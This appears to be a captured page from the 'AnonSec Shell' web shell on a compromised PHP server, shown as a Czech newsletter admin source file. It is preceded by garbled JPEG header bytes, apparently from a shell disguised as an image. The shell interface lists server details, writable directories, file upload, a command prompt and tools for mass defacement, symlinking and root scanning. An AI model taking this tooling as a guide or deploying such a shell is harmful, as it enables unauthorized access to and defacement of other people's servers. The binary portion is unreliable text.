JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/adminModule/presenters/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/adminModule/presenters/NewsletterPresenter.php
<?php
namespace App\adminModule\Presenters;

/**
 * Newsletter presenter.
 */

use Nette\Application\UI\Form;
use Nette\InvalidStateException;
use Promoteus\Components\INewsletterGridControlFactory;
use Promoteus\NewsletterRepository;


class NewsletterPresenter extends SecurePresenter
{

	// maximum size of each attachment file
	const ATTACHMENT_MAX_FILE_SIZE = 5242880; // 5 MB

	const ATTACHMENT_DIRECTORY = 'data/newsletter/attachment/';


    /** @var NewsletterRepository @inject */
    public $repository;

    /**
     * @var INewsletterGridControlFactory @inject
     */
    public $gridControlFactory;

	public function renderDefault()
	{

	}


	public function renderEdit($id)
	{
		$form = $this['editForm'];
		if (!$form->isSubmitted())
		{
			$newsletter = $this->repository->getById((int) $id);

			if (!$newsletter) {
				$this->error('Specifikovaný newsletter nebyl nalezen.');
			}

			$form->setDefaults($newsletter->toArray());
		}
	}


	public function renderCreate()
	{
	}


	public function renderDelete($id)
	{
		$this->template->newsletter = $this->repository->getById($id);
	}


	/**
	 * Edit client form factory.
	 * @return Form
	 */
	protected function createComponentEditForm()
	{
		$form = $this->createEditForm();

		$form->addSubmit('delete', 'Smazat')
			->setAttribute('class', 'btn btn-danger')
			->onClick[] = $this->redirectToDelete;

		return $form;
	}


	/**
	 * Edit client form factory.
	 * @return Form
	 */
	protected function createComponentDeleteForm()
	{
		return $this->createDeleteForm();

	}


	/**
	 * Create client form factory.
	 * @return Form
	 */
	protected function createComponentCreateForm()
	{
		return $this->createEditForm();
	}


	/**
	 * Create and edit newsletter form factory.
	 * @return Form
	 */
	protected function createEditForm()
	{
		$form = new \Promoteus\Form;

		$form->addText('send_at', 'Datum a čas odeslání')
			->setDefaultValue(date('Y-m-d H:i:s'))
			->setOption('description', 'Formát je RRRR-MM-DD HH:MM:SS, např. 2015-01-01 06:00:00.');

		$form->addSelect('newsletter_group_id', 'Newsletterová skupina')
			->setPrompt('Zvolte skupinu')
			->setRequired('%label je povinná položka.')
			->setItems($this->getNewsletterGroupsForSelecbox());

		$form->addSelect('language', 'Vybrat jazyk')
			->setPrompt('Zvolte jazyk')
			->setRequired('%label je povinná položka.')
			->setItems(array('Čeština','Angličtina')); //0 = čeština, 1=angličtina

		$form->addText('utm_source', 'utm source');
		$form->addText('utm_medium', 'utm medium');
		$form->addText('utm_campaign', 'utm campaign');

        $form->addText('subject', 'Předmět zprávy')
			->setRequired('%label je povinná položka.')
			->addRule(Form::MAX_LENGTH, '%label být dlouhý maximálně %d znaků.', 128);

		$form->addCheckbox('send_unregistered', 'Odeslat neregistrovaným')
		     ->setAttribute('style', 'float:left; margin-right: 5px;');

		$form->addSelect('promosletter', 'Vybrat z promosletteru')
			->setPrompt('Zvolte newsletter')
			->setItems($this->getPromosletters());

		$form->addTextArea('content', 'Textový obsah newsletteru', 100, 10)
			->addRule(Form::MAX_LENGTH, '%label být dlouhý maximálně %d znaků.', 65535)
			->setOption('description', 'Nechte nevyplněné pro automatické vygenerování textového obsahu z HTML.');

		$form->addTextArea('html_content', 'HTML obsah newsletteru', 100, 10)
			//->setRequired('%label je povinná položka.')
			->addRule(Form::MAX_LENGTH, '%label být dlouhý maximálně %d znaků.', 65535)
			->setOption('description', 'Nevyplňujte v případě, že byl zvolen promosletter.');

		$form->addUpload('attachment', 'Příloha 1')
			->addRule(Form::MAX_FILE_SIZE, 'Maximální velikost souboru je 5 MB.', self::ATTACHMENT_MAX_FILE_SIZE);

		$form->addUpload('attachment2', 'Příloha 2')
			->addRule(Form::MAX_FILE_SIZE, 'Maximální velikost souboru je 5 MB.', self::ATTACHMENT_MAX_FILE_SIZE);

		$form->addUpload('attachment3', 'Příloha 3')
			->addRule(Form::MAX_FILE_SIZE, 'Maximální velikost souboru je 5 MB.', self::ATTACHMENT_MAX_FILE_SIZE);

		$form->addSubmit('save', 'Uložit')
			->setAttribute('class', 'btn btn-success');

		$form->addSubmit('cancel', 'Zrušit')
			->setAttribute('class', 'btn')
			->setValidationScope(FALSE)
			->onClick[] = $this->formCancelled;

		$form->addProtection();

		// call this method on success
		$form->onSuccess[] = $this->save;

		return $form;
	}


	/**
	 * Delete confirmation newsletter form factory.
	 * @return Form
	 */
	protected function createDeleteForm()
	{
		$form = new \Promoteus\Form;

		$form->addSubmit('delete', 'Potvrdit')
			->setAttribute('class', 'btn btn-success');
			//->onClick[] = $this->delete($id);

		$form->addSubmit('cancel', 'Zrušit')
			->setAttribute('class', 'btn')
			->setValidationScope(FALSE)
			->onClick[] = $this->formCancelled;

		// call this method on success
		$form->onSuccess[] = $this->delete;


		return $form;
	}


	private function getNewsletterGroupsForSelecbox()
	{
		$groups = $this->context->newsletterGroupRepository->findAll();

		$result = array();
		foreach ($groups as $group) {
			$result[$group->id] = $group->name;
		}

		return $result;
	}

	private function getPromosletters()
	{
		$promosletters = $this->context->promosletterRepository->findAll();

		$result = array();
		foreach ($promosletters as $promosletter) {
			$result[$promosletter->id] = $promosletter->title;
		}

		return $result;
	}


	public function redirectToDelete()
	{
		$this->redirect('delete', array('id' => $this->getParameter('id')));
	}


	public function save($form)
	{
		$id = $this->getParameter('id');

		$values = $form->getValues();

		if ($values->send_at && (time() >= strtotime($values->send_at))) {
			$form->addError('Datum a čas odeslání newsletteru je v minulosti.');
		}

		if (!$form->hasErrors())
		{
			//promosletter
			if($values->promosletter) $values->html_content = file_get_contents('https://promoteus.cz/promosletter/newsletters/'.$values->promosletter);

			$newsletterData = array(
				'subject' => &$values->subject,
				'content' => &$values->content,
				'html_content' => &$values->html_content,
				'promosletter' => &$values->promosletter,
				'newsletter_group_id' => &$values->newsletter_group_id,
				'send_at' => &$values->send_at,
				'send_unregistered' => &$values->send_unregistered,
				'utm_source' => &$values->utm_source,
				'utm_medium' => &$values->utm_medium,
				'utm_campaign' => &$values->utm_campaign,
				'language' => &$values->language
			);

			if ($values->attachment->isOk()) {
				$newsletterData['attachment'] = $values->attachment->getSanitizedName();
			}

			if ($values->attachment2->isOk()) {
				$newsletterData['attachment2'] = $values->attachment2->getSanitizedName();
			}

			if ($values->attachment3->isOk()) {
				$newsletterData['attachment3'] = $values->attachment3->getSanitizedName();
			}

			if ($id) {
				// delete previous attachments
				$this->deleteAttachments($id);
			}

			try
			{
				$id = $this->repository->persist($id, $newsletterData);

				$attachmentDirectory = $this->getAttachmentDirectory($id);
				$files = array('attachment', 'attachment2', 'attachment3');
				foreach ($files as $file) {
					if (isset($newsletterData[$file])) {
						$values[$file]->move($attachmentDirectory.$values[$file]->getSanitizedName());
					}
				}

				$this->flashMessage('Newsletter "<strong>'.$values->subject.'</strong>" byl úspěšně '.($id ? 'uložen.' : 'vytvořen.'), 'success');
				$this->redirect('default');
			}
			catch (PDOException $e)
			{
                $this->flashMessage('Newsletter se nepodařilo ' . ($id ? 'uložit' : 'vytvořit') . ' Zkuste to, prosím, znovu.', 'danger');
			}
			catch (InvalidStateException $e)
			{
				$this->flashMessage('Newsletter "<strong>'.$values->subject.'</strong>" byl '.($id ? 'uložen' : 'vytvořen').', ale nepodařilo se uložit přílohu(y). Zkuste to, prosím, znovu.', 'success');
			}
		}
	}

	//Smazání
	public function delete() {

		//vymazat newsletter dle id
		$id = $this->getParameter('id');
		$this->repository->delete($id);

		$this->flashMessage('Newsletter '.$id.' byl úspěšně smazán.', 'success');
		$this->redirect('default');
	}


	public function formCancelled()
	{
		$this->flashMessage('Operace byla zrušena uživatelem. Žádné změny nebyly provedeny.', 'info');

		$this->redirect('default');
	}


	private function deleteAttachments($newsletterId)
	{
		// delete DB entry
		$newsletter = $this->repository->getById($newsletterId);

		if (!$newsletter) {
			return FALSE;
		}

		// delete attachment files
		$status = TRUE;
		$files = array('attachment', 'attachment2', 'attachment3');
		foreach ($files as $field) {
			$filename = $this->getAttachmentDirectory($newsletterId).$newsletter[$field];
			if ($newsletter[$field] && file_exists($filename)) {
				$status = $status && @unlink($filename);
			}
		}

		return $status;
	}


	private function getAttachmentDirectory($newsletterId = NULL)
	{
		return $this->context->parameters['appDir'].'/../'.self::ATTACHMENT_DIRECTORY.($newsletterId ? $newsletterId.'/' : '');
	}

}

Anon7 - 2022
AnonSec Team